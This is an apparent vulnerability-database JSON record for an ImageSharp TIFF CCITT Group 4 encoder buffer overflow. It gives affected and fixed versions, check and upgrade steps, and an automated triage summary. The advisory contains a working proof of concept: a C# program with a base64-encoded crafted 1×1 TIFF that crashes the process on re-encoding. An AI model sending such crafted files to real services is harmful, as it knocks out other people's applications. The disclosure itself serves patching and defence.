{"id":"CVE-2026-106115","kind":"vulnerability","aliases":["CVE-2026-106115","GHSA-jjfr-hcj7-qf5w"],"related":[],"title":"ImageSharp: TIFF CCITT T6 encoder writes beyond an undersized output buffer","description":"### Summary\n\nThe TIFF CCITT Group 4 (T6) encoder writes beyond its logical compressed-data buffer when encoding a 1-bit image. A valid 1×1 Group 4 TIFF decoded and re-encoded with the default `TiffEncoder` terminates the process with an unhandled exception.\n\n### Affected package and versions\n\n- Package: `SixLabors.ImageSharp` (NuGet)\n- Affected range: `>= 2.1.0, <= 4.1.1`\n- Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**.\n\nThe T6 compressor was introduced by commit `3c9eb470a07a15012c2a29ad84090dcc804a7975`, first released in v2.1.0, with the same `Width * rowsPerStrip` allocation and unchecked code writes. The 1×1 exploit terminates published v2.1.0 and v4.1.1; its uncompressed control succeeds. Source history shows no capacity fix through v4.1.1.\n### Details\n\n[`TiffCcittCompressor.Initialize`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Tiff/Compression/Compressors/TiffCcittCompressor.cs#L527-L532) allocates `Width * rowsPerStrip` bytes. A 1×1 strip therefore receives one byte.\n\nAfter encoding the row, [`T6BitCompressor.CompressStrip`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Tiff/Compression/Compressors/T6BitCompressor.cs#L53-L131) appends two 12-bit EOFB codes. [`WriteCode`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Tiff/Compression/Compressors/TiffCcittCompressor.cs#L466-L479) writes those bits without checking the destination capacity. The final checked slice detects the oversized byte count and throws `ArgumentOutOfRangeException`, after the unchecked writes have exceeded the one-byte span.\n\nThe default TIFF encoder can inherit `CcittGroup4Fax` and 1-bit settings from decoded frame metadata. The reproduction uses that decode-and-re-encode path.\n\n### Tested environment\n\n- Published NuGet package: `SixLabors.ImageSharp` 4.1.1\n- Target framework: `net8.0`\n- .NET SDK: 8.0.424\n- .NET runtime: 8.0.30\n- Operating system: Debian GNU/Linux 12, ARM64, Docker\n\nNo active exploitation is known.\n\n### Reproduction\n\nCreate a `net8.0` project referencing the published 4.1.1 assembly and use this `Program.cs`:\n\n```csharp\nusing SixLabors.ImageSharp;\nusing SixLabors.ImageSharp.Formats.Tiff;\nusing SixLabors.ImageSharp.Formats.Tiff.Constants;\n\nstring mode = args.FirstOrDefault() ?? \"exploit\";\nbyte[] input = Convert.FromBase64String(\n    \"SUkqAAgAAAAJAAABAwABAAAAAQAAAAEBAwABAAAAAQAAAAIBAwABAAAAAQAAAAMBAwABAAAABAAAAAYBAwABAAAAAAAAABEBBAABAAAAegAAABUBAwABAAAAAQAAABYBBAABAAAAAQAAABcBBAABAAAABAAAAAAAAACACACA\");\n\nusing Image image = Image.Load(input);\nvar metadata = image.Frames.RootFrame.Metadata.GetTiffMetadata();\nConsole.WriteLine($\"ImageSharp={typeof(Image).Assembly.GetName().Version}\");\nConsole.WriteLine($\"mode={mode} decoded={image.Width}x{image.Height} compression={metadata.Compression} bits={metadata.BitsPerPixel}\");\n\nusing var output = new MemoryStream();\nif (mode == \"control\")\n{\n    image.Save(output, new TiffEncoder { Compression = TiffCompression.None });\n}\nelse\n{\n    image.Save(output, new TiffEncoder());\n}\n\nConsole.WriteLine($\"encoded=True bytes={output.Length}\");\n```\n\nRun:\n\n```text\ndotnet run -- exploit\ndotnet run -- control\n```\n\nThe exploit produced exit code 134:\n\n```text\nImageSharp=4.0.0.0\nmode=exploit decoded=1x1 compression=CcittGroup4Fax bits=Bit1\nUnhandled exception. System.ArgumentOutOfRangeException: Specified argument was out of the range of valid values.\n   at SixLabors.ImageSharp.Formats.Tiff.Compression.Compressors.TiffCcittCompressor.CompressStrip(Span`1 rows, Int32 height)\n```\n\nThe control completed with exit code 0:\n\n```text\nImageSharp=4.0.0.0\nmode=control decoded=1x1 compression=CcittGroup4Fax bits=Bit1\nencoded=True bytes=212\n```\n\n### Impact\n\nOne attacker-supplied Group 4 TIFF can select this unsafe encoder path when an application decodes it and re-encodes it with inherited TIFF metadata. The demonstrated result is an unhandled exception and process termination in the reproduction. The report is limited to the T6 encoder path.","summary":"ImageSharp's TIFF Group 4 (T6) encoder writes beyond its output buffer when encoding a 1-bit image, so re-encoding an attacker-supplied TIFF terminates the process with an unhandled exception. The sources demonstrate a crash; they do not show code execution.","severity":"high","cvss":7.5,"epss":0.00385,"exploited":false,"exploited_at":null,"products":[{"name":"SixLabors.ImageSharp","fixed":["3.2.0"],"affected":">= 2.1.0, < 3.2.0","ecosystem":"nuget"},{"name":"SixLabors.ImageSharp","fixed":["4.1.2"],"affected":">= 4.0.0, < 4.1.2","ecosystem":"nuget"},{"name":"sixlabors imagesharp","fixed":["3.2.0"],"affected":">= 2.1.0, < 3.2.0","ecosystem":"vendor"},{"name":"sixlabors imagesharp","fixed":["4.1.2"],"affected":">= 4.0.0, < 4.1.2","ecosystem":"vendor"}],"ecosystems":["nuget","vendor"],"tags":["cwe-787","dotnet","image-processing","nuget","package","self-hosted"],"not_affected_if":["no-tiff-encoding","uncompressed-tiff-output"],"how_to_check":"- Run `dotnet list package` in the project and look for `SixLabors.ImageSharp` below `3.2.0` or in the `4.0.0` to `4.1.1` range.\n- Search the code for `TiffEncoder` calls that re-encode decoded TIFF input, especially with inherited CCITT Group 4 metadata.","fix":"- Upgrade `SixLabors.ImageSharp` to `3.2.0` on the 3.x line.\n- Upgrade `SixLabors.ImageSharp` to `4.1.2` on the 4.x line.","status":"open","published_at":"2026-10-06T18:16:53+00:00","first_seen_at":"2026-10-26T14:21:29+00:00","triaged_at":"2026-10-26T14:21:41+00:00","updated_at":"2026-10-26T14:30:37+00:00","category":"package","confidence":0.7,"triage":{"at":"2026-10-26T14:21:41Z","model":"claude-haiku-5-5","output":{"fix":"- Upgrade `SixLabors.ImageSharp` to `3.2.0` on the 3.x line.\n- Upgrade `SixLabors.ImageSharp` to `4.1.2` on the 4.x line.","reach":"internet","title":"ImageSharp: TIFF CCITT T6 encoder writes past undersized buffer, crashing process","impact":"medium","summary":"ImageSharp's TIFF Group 4 (T6) encoder writes beyond its output buffer when encoding a 1-bit image, so re-encoding an attacker-supplied TIFF terminates the process with an unhandled exception. The sources demonstrate a crash; they do not show code execution.","category":"package","nicknames":[],"who_cares":["dotnet","nuget","image-processing","self-hosted"],"confidence":0.7,"needs_auth":"unknown","worst_case":"Unhandled exception terminates the process; memory corruption not demonstrated.","analyst_note":"","how_to_check":"- Run `dotnet list package` in the project and look for `SixLabors.ImageSharp` below `3.2.0` or in the `4.0.0` to `4.1.1` range.\n- Search the code for `TiffEncoder` calls that re-encode decoded TIFF input, especially with inherited CCITT Group 4 metadata.","needs_analyst":false,"not_affected_if":["no-tiff-encoding","uncompressed-tiff-output"],"who_is_affected":"Applications that accept TIFF uploads, decode them with ImageSharp, and re-encode them with the default TiffEncoder can be hit, because the encoder can inherit CCITT Group 4 and 1-bit settings from decoded frame metadata. Services that never write TIFF output, or that only handle other formats, can skip it.","user_interaction":"no","needs_special_setup":"yes","severity_if_unknown":"high"},"cost_usd":0.000852,"input_tokens":5279,"output_tokens":649,"severity_before":"high"},"analyst_status":null,"analyst_note":null,"search":"'-106115':14A,22A '-2026':13A,21A '-787':30B '/sixlabors/imagesharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/imagesharp/formats/tiff/compression/compressors/t6bitcompressor.cs#l53-l131)':214C '/sixlabors/imagesharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/imagesharp/formats/tiff/compression/compressors/tiffccittcompressor.cs#l466-l479)':224C '/sixlabors/imagesharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/imagesharp/formats/tiff/compression/compressors/tiffccittcompressor.cs#l527-l532)':194C '0':438C '0815358f9202a78bc7f3b83e19282dc3654b500f':142C '1':55B,104C,109C,110C,170C,171C,200C,201C,264C,428C '12':217C,301C '134':400C '1x1':407C,445C '2.1.0':139C '212':453C '3c9eb470a07a15012c2a29ad84090dcc804a7975':154C '4':44B,90C,112C,460C '4.0.0.0':403C,441C '4.1.1':140C,287C,317C '8.0.30':296C '8.0.424':293C 'activ':305C 'affect':130C,137C 'alloc':164C,195C 'append':215C 'applic':470C 'args.firstordefault':332C 'argument':416C 'argumentoutofrangeexcept':244C 'arm64':302C 'assembl':318C 'assembly.getname':350C 'attack':64B,457C 'attacker-suppli':63B,456C 'beyond':7A,48B,94C 'bit':56B,105C,218C,227C,265C,361C,410C,448C 'bit1':411C,449C 'buffer':11A,51B,100C 'byte':198C,206C,240C,254C,334C,385C,452C 'capac':186C,232C 'ccitt':3A,88C 'ccittgroup4fax':262C,409C,447C 'check':229C,235C 'code':83B,167C,220C,399C,437C 'commit':141C,153C 'complet':434C 'compress':98C,359C,375C,408C,446C 'compressed-data':97C 'compressor':149C 'console.writeline':346C,352C,382C 'control':180C,370C,394C,433C,443C 'convert.frombase64string':336C 'correspond':143C 'count':241C 'crash':78B 'creat':310C 'csharp':323C 'cve':12A,20A 'cwe':29B 'data':99C 'debian':299C 'decod':114C,268C,276C,355C,406C,444C,471C 'decode-and-re-encod':275C 'default':121C,257C 'demonstr':76B 'destin':231C 'detail':190C 'detect':237C 'docker':303C 'dotnet':31B,389C,392C 'els':377C 'encod':5A,46B,53B,61B,92C,102C,118C,208C,259C,279C,383C,450C,466C,476C 'environ':282C 'eofb':219C 'exceed':250C 'except':73B,129C,413C 'execut':84B 'exit':398C,436C 'exploit':172C,306C,333C,391C,396C,405C 'final':234C 'first':155C 'fix':187C 'frame':269C 'framework':289C 'ghsa':16A 'ghsa-jjfr-hcj7-qf5w':15A 'github.com':193C,213C,223C 'github.com/sixlabors/imagesharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/imagesharp/formats/tiff/compression/compressors/t6bitcompressor.cs#l53-l131)':212C 'github.com/sixlabors/imagesharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/imagesharp/formats/tiff/compression/compressors/tiffccittcompressor.cs#l466-l479)':222C 'github.com/sixlabors/imagesharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/imagesharp/formats/tiff/compression/compressors/tiffccittcompressor.cs#l527-l532)':192C 'gnu/linux':300C 'group':43B,89C,111C,459C 'hcj7':18A 'height':431C 'histori':183C 'host':39B 'imag':33B,57B,106C,339C,340C,349C 'image-process':32B 'image.frames.rootframe.metadata.gettiffmetadata':345C 'image.height':358C 'image.load':341C 'image.save':371C,378C 'image.width':356C 'imagesharp':1A,26A,28A,40B,347C,402C,440C 'impact':454C 'inherit':261C,479C 'input':335C,342C 'int32':430C 'introduc':151C 'jjfr':17A 'known':308C 'logic':96C 'memorystream':367C 'meta':481C 'metadata':270C,344C 'metadata.bitsperpixel':362C 'metadata.compression':360C 'mode':331C,353C,354C,369C,404C,442C 'net':291C,294C 'net8.0':290C,312C 'new':366C,373C,380C 'nuget':35B,136C,284C 'one':205C,253C,455C 'one-byt':252C 'oper':297C 'output':10A,50B,365C,372C,379C 'output.length':386C 'overs':239C 'packag':36B,131C,134C,285C 'path':280C,467C 'process':34B,69B,125C 'produc':397C 'program.cs':322C 'project':313C 'publish':174C,283C,316C 'qf5w':19A 'rang':138C,421C 're':60B,117C,278C,475C 're-encod':59B,116C,474C 'receiv':204C 'referenc':314C 'releas':145C,156C 'reproduct':272C,309C 'row':210C,429C 'rowsperstrip':163C,197C 'run':387C,390C,393C 'runtim':295C 'sdk':292C 'select':463C 'self':38B 'self-host':37B 'set':266C 'show':82B,184C 'sixlabors':25A,27A 'sixlabors.imagesharp':23A,24A,135C,286C,325C 'sixlabors.imagesharp.formats.tiff':327C 'sixlabors.imagesharp.formats.tiff.compression.compressors.tiffccittcompressor.compressstrip':426C 'sixlabors.imagesharp.formats.tiff.constants':329C 'slice':236C 'sourc':75B,182C 'span':255C,427C 'specifi':415C 'string':330C 'strip':202C 'succeed':181C 'sukqaagaaaajaaabawabaaaaaqaaaaebawabaaaaaqaaaaibawabaaaaaqaaaambawabaaaabaaaaaybawabaaaaaaaaabebbaabaaaaegaaabubawabaaaaaqaaabybbaabaaaaaqaaabcbbaabaaaabaaaaaaaaacacaca':337C 'summari':85C 'suppli':65B,458C 'system':298C 'system.argumentoutofrangeexception':414C 't6':4A,45B,91C,148C 't6bitcompressor.compressstrip':211C 'target':288C 'termin':67B,123C,173C 'test':281C 'text':388C,401C,439C 'therefor':203C 'throw':243C 'tiff':2A,42B,66B,87C,113C,258C,461C,480C 'tiffccittcompressor.initialize':191C 'tiffcompression.none':376C 'tiffencod':122C,374C,381C 'true':384C,451C 'two':216C 'typeof':348C 'uncheck':166C,247C 'uncompress':179C 'unders':9A 'unhandl':72B,128C,412C 'unsaf':465C 'use':273C,320C,324C,326C,328C,338C,363C 'v2.1.0':158C,175C 'v4.1.1':146C,177C,189C 'valid':108C,423C 'valu':424C 'var':343C,364C 'version':133C,351C 'width':162C,196C 'without':228C 'write':6A,47B,93C,168C,225C,248C 'writecod':221C 'x':357C","nicknames":[],"mitigations":[],"who_affected":"Applications that accept TIFF uploads, decode them with ImageSharp, and re-encode them with the default TiffEncoder can be hit, because the encoder can inherit CCITT Group 4 and 1-bit settings from decoded frame metadata. Services that never write TIFF output, or that only handle other formats, can skip it.","tier":"B","verified":{},"analyst_revisit_at":null,"first_public_at":"2026-10-06T18:16:53+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-jjfr-hcj7-qf5w","url":"https://github.com/advisories/GHSA-jjfr-hcj7-qf5w","severity":"high","published_at":"2026-10-07T20:24:46+00:00","modified_at":"2026-10-26T14:21:22+00:00","first_seen_at":"2026-10-26T14:21:29+00:00","fetched_at":"2026-10-26T14:26:34+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-106115","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-106115","severity":null,"published_at":"2026-10-06T18:16:53+00:00","modified_at":"2026-10-24T01:27:41+00:00","first_seen_at":"2026-10-26T14:30:37+00:00","fetched_at":"2026-10-26T14:30:37+00:00","note":null}],"documents":[],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}